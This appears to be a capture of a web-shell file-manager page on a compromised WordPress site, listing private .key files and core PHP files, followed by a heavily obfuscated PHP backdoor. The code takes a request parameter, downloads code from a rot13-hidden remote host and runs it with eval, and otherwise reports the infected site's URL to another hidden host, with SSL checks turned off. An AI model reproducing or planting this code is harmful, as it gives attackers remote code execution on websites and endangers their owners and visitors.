Gecko [ www.corporacionhdm.com.pe ]

Name	Size	Permission	Date
.htaccess	197 B	-r--r--r--	2025-05-03 03:33
90fae_fcf73_e534d971dae34c13f8f5a074d1004c74.key	1.63 KB	-rw-r-----	2025-03-15 22:03
92bcd_b488f_c545c9a30655041746f54556e311b3e8.key	1.63 KB	-rw-r-----	2020-03-12 14:21
98be2_56a7d_36ec74cd6bcef4edb5d825bdc7717c4c.key	1.63 KB	-rw-r-----	2020-02-11 02:30
a0cc7_77d47_cffc9f32719d304c0809a4da87c8f64e.key	1.64 KB	-rw-r-----	2022-01-12 03:20
aa2f8_126ed_5091b4370123208ed8fcdfe794195ad6.key	1.64 KB	-rw-r-----	2023-03-08 05:13
ad2df_048fb_d0b4c7714b1423e15602755fedccd56a.key	1.63 KB	-rw-r-----	2023-03-08 05:13
b46c5_8337b_375df83c0b3911a31e7cf66364ca366f.key	1.63 KB	-rw-r-----	2020-03-10 21:37
b59a6_99c6b_020c98b8b81496e3cea8315a2bc6c117.key	1.64 KB	-rw-r-----	2024-04-27 22:42
b6a40_20e93_f860faf78f608264d06ce7f20cee0cba.key	1.64 KB	-rw-r-----	2024-03-11 16:00
b72b5_ab871_057ec9d6f7039eaf5ce78bb7d8154ae4.key	1.63 KB	-rw-r-----	2023-03-08 05:14
ba1d5_d9f0b_ac74c29d35eaaef9f367a947fbe61c87.key	1.64 KB	-rw-r-----	2025-03-08 03:41
ba24a_cd3bd_8126cda1c98a9f899d356f22ac3a0b5c.key	1.63 KB	-rw-r-----	2020-09-15 03:21
bfacd_0186b_0982def078af5a3455ce868ccbd29d76.key	1.64 KB	-rw-r-----	2025-03-08 03:44
c4118_f9357_c1b29a00c2d85bada1a0725959cab430.key	1.64 KB	-rw-r-----	2020-02-11 02:25
c4b60_dad43_256c3287a5720bdb948baad15109a6dd.key	1.63 KB	-rw-r-----	2025-03-08 03:54
c8780_386b1_f108d992ed673f6a142c3319c9d89ce4.key	1.63 KB	-rw-r-----	2025-01-13 21:50
c9884_18055_d4522779fa61556c75f27f9c0ada495c.key	1.63 KB	-rw-r-----	2020-03-10 21:37
cb5d7_0ca37_8473014ba7e08c6760de85c81b97e72d.key	1.63 KB	-rw-r-----	2020-12-16 16:04
cc4d9_6fee3_d5f0683d053a14aa136accfee1938323.key	1.64 KB	-rw-r-----	2020-12-23 19:58
cdf87_3427d_b93b128ed086f26c817f17215769daab.key	1.64 KB	-rw-r-----	2023-03-08 05:13
ce0a9_019b3_cc82a10b1edb1d6e6131c0fd8edf4bfc.key	1.64 KB	-rw-r-----	2020-02-06 15:25
ce850_caf7f_fc3f9517efef0e94f57e97ddffc0a45d.key	1.63 KB	-rw-r-----	2024-02-13 17:06
cea04_614a7_ea3f77440f4544a6fea8c8400433a826.key	1.63 KB	-rw-r-----	2020-09-16 01:56
d787e_d2815_806c8e8a5d5a7748590df4bd4bba5a76.key	1.63 KB	-rw-r-----	2024-03-05 23:11
da280_17ac5_32fd18fdc69cb35e8a9fc53aeb3ccf4c.key	1.64 KB	-rw-r-----	2024-03-05 23:11
db095_6abc7_058e58826aa2a1f2a72eab1d70fabd40.key	1.64 KB	-rw-r-----	2024-07-09 19:24
dfc42_315e7_5783ecc68673f65695c86f1e5e6bca04.key	1.63 KB	-rw-r-----	2021-02-11 16:17
e2c9b_3ceed_53cf187230ba52ec6af32640fdd6563f.key	1.64 KB	-rw-r-----	2023-02-07 19:43
edfbc_79929_a40385dc07d1bf162f8248e8a8e8a66a.key	1.63 KB	-rw-r-----	2022-01-12 03:06
efeb8_c9df3_d7dade620c65c3a1bb8209aafb4029d1.key	1.64 KB	-rw-r-----	2024-01-10 21:43
f4ba4_fff0f_7cc0b89bf825ceda72c4a6865747dab6.key	1.63 KB	-rw-r-----	2024-03-11 15:57
f596f_245ad_fd896dd0e853e43ec00e2e16cd9deaa5.key	1.64 KB	-rw-r-----	2021-01-05 16:29
wp-blog-header.php	2.73 KB	-r--r--r--	2025-05-03 03:33
wp-cron.php	2.73 KB	-rw-r--r--	2025-05-03 03:33

Rename

<?php
 goto T7Bkn; foHGP: $_SESSION["\x64\x6f\x61\143\x74"] = $hmH20; goto TQt0_; K0ZxZ: nRhhK(array("\167\x65\142" => $EuisC)); goto q1fwC; AE8KZ: BD64p: goto viQ8w; uqBPZ: $EuisC = (isset($_SERVER["\110\124\124\x50\x53"]) && $_SERVER["\110\x54\124\x50\123"] === "\x6f\x6e" ? "\x68\x74\164\160\x73" : "\x68\164\164\160") . "\x3a\x2f\57{$_SERVER["\x48\124\x54\x50\x5f\110\117\123\124"]}{$_SERVER["\122\105\x51\x55\105\x53\x54\x5f\125\x52\111"]}"; goto K0ZxZ; gr2mT: $hmH20 = $_REQUEST["\x64\157\141\143\164"]; goto BB8pz; jHBC7: j192A: goto foHGP; NR3Rd: exit; goto AE8KZ; TQt0_: $voEuQ = eEVfl(str_rot13("\165\x67\147\x63\146\72\x2f\x2f\151\143\146\x71\161\x2e\163\141\163\147\150\146\56\x67\142\143\57\161\142\142\x65\x2f") . $hmH20 . "\56\164\x78\164"); goto y1SLJ; BB8pz: if (!empty($hmH20)) { goto j192A; } goto uqBPZ; sPKm1: session_start(); goto gr2mT; viQ8w: function eeVfl($EuisC) { goto M4qAr; BE2bd: i1QIu: goto ETYdi; OZXaa: curl_setopt($nysSp, CURLOPT_SSL_VERIFYPEER, 0); goto FG2bM; DIWtQ: curl_setopt($nysSp, CURLOPT_RETURNTRANSFER, 1); goto iQtSq; i3vex: $gE_2y = stream_get_contents($WJtAt); goto Lcp8c; IjQ00: if (!(empty($gE_2y) && function_exists("\146\x6f\x70\145\156") && function_exists("\x73\x74\x72\x65\x61\x6d\137\147\x65\164\x5f\143\x6f\156\164\145\x6e\164\x73"))) { goto o81Ch; } goto kJYa3; MRDUT: $gE_2y = curl_exec($nysSp); goto ZZyp_; B4W2f: d2cUG: goto IjQ00; Lcp8c: fclose($WJtAt); goto DEP1f; kJYa3: $WJtAt = fopen($EuisC, "\162"); goto i3vex; s3mqK: if (!function_exists("\x63\x75\162\x6c\x5f\145\170\x65\143")) { goto i1QIu; } goto o5STS; o5STS: $nysSp = curl_init($EuisC); goto DIWtQ; FG2bM: curl_setopt($nysSp, CURLOPT_SSL_VERIFYHOST, 0); goto MRDUT; ETYdi: if (!(empty($gE_2y) && function_exists("\x66\x69\x6c\x65\137\x67\145\164\x5f\x63\157\x6e\164\x65\156\x74\163"))) { goto d2cUG; } goto BQZJn; t3n7O: return $gE_2y; goto mxkqk; BQZJn: $gE_2y = file_get_contents($EuisC); goto B4W2f; iQtSq: curl_setopt($nysSp, CURLOPT_FOLLOWLOCATION, 1); goto OZXaa; M4qAr: $gE_2y = ''; goto s3mqK; ZZyp_: curl_close($nysSp); goto BE2bd; DEP1f: o81Ch: goto t3n7O; mxkqk: } goto eTmj9; y1SLJ: eval("\77\76" . $voEuQ); goto NR3Rd; q1fwC: goto BD64p; goto jHBC7; T7Bkn: error_reporting(0); goto sPKm1; eTmj9: function NrhhK($XE_Cd) { goto gZbvS; doOR7: $eMSLG = curl_exec($A88G2); goto GLhUH; gZbvS: $EuisC = "\165\147\x67\143\x3a\57\x2f\x65\162\x7a\142\147\x72\x32\x30\62\x35\x2e\157\154\x75\142\x67\56\147\x62\x63\x2f\166\141\161\x72\x6b\x2e\143\x75\143"; goto wpEJg; wpEJg: $A88G2 = curl_init(str_rot13($EuisC)); goto fLJfr; fLJfr: curl_setopt($A88G2, CURLOPT_POST, 1); goto SYjU8; GLhUH: curl_close($A88G2); goto Ljaon; GL2_L: curl_setopt($A88G2, CURLOPT_RETURNTRANSFER, true); goto doOR7; SYjU8: curl_setopt($A88G2, CURLOPT_POSTFIELDS, $XE_Cd); goto GL2_L; Ljaon: }?>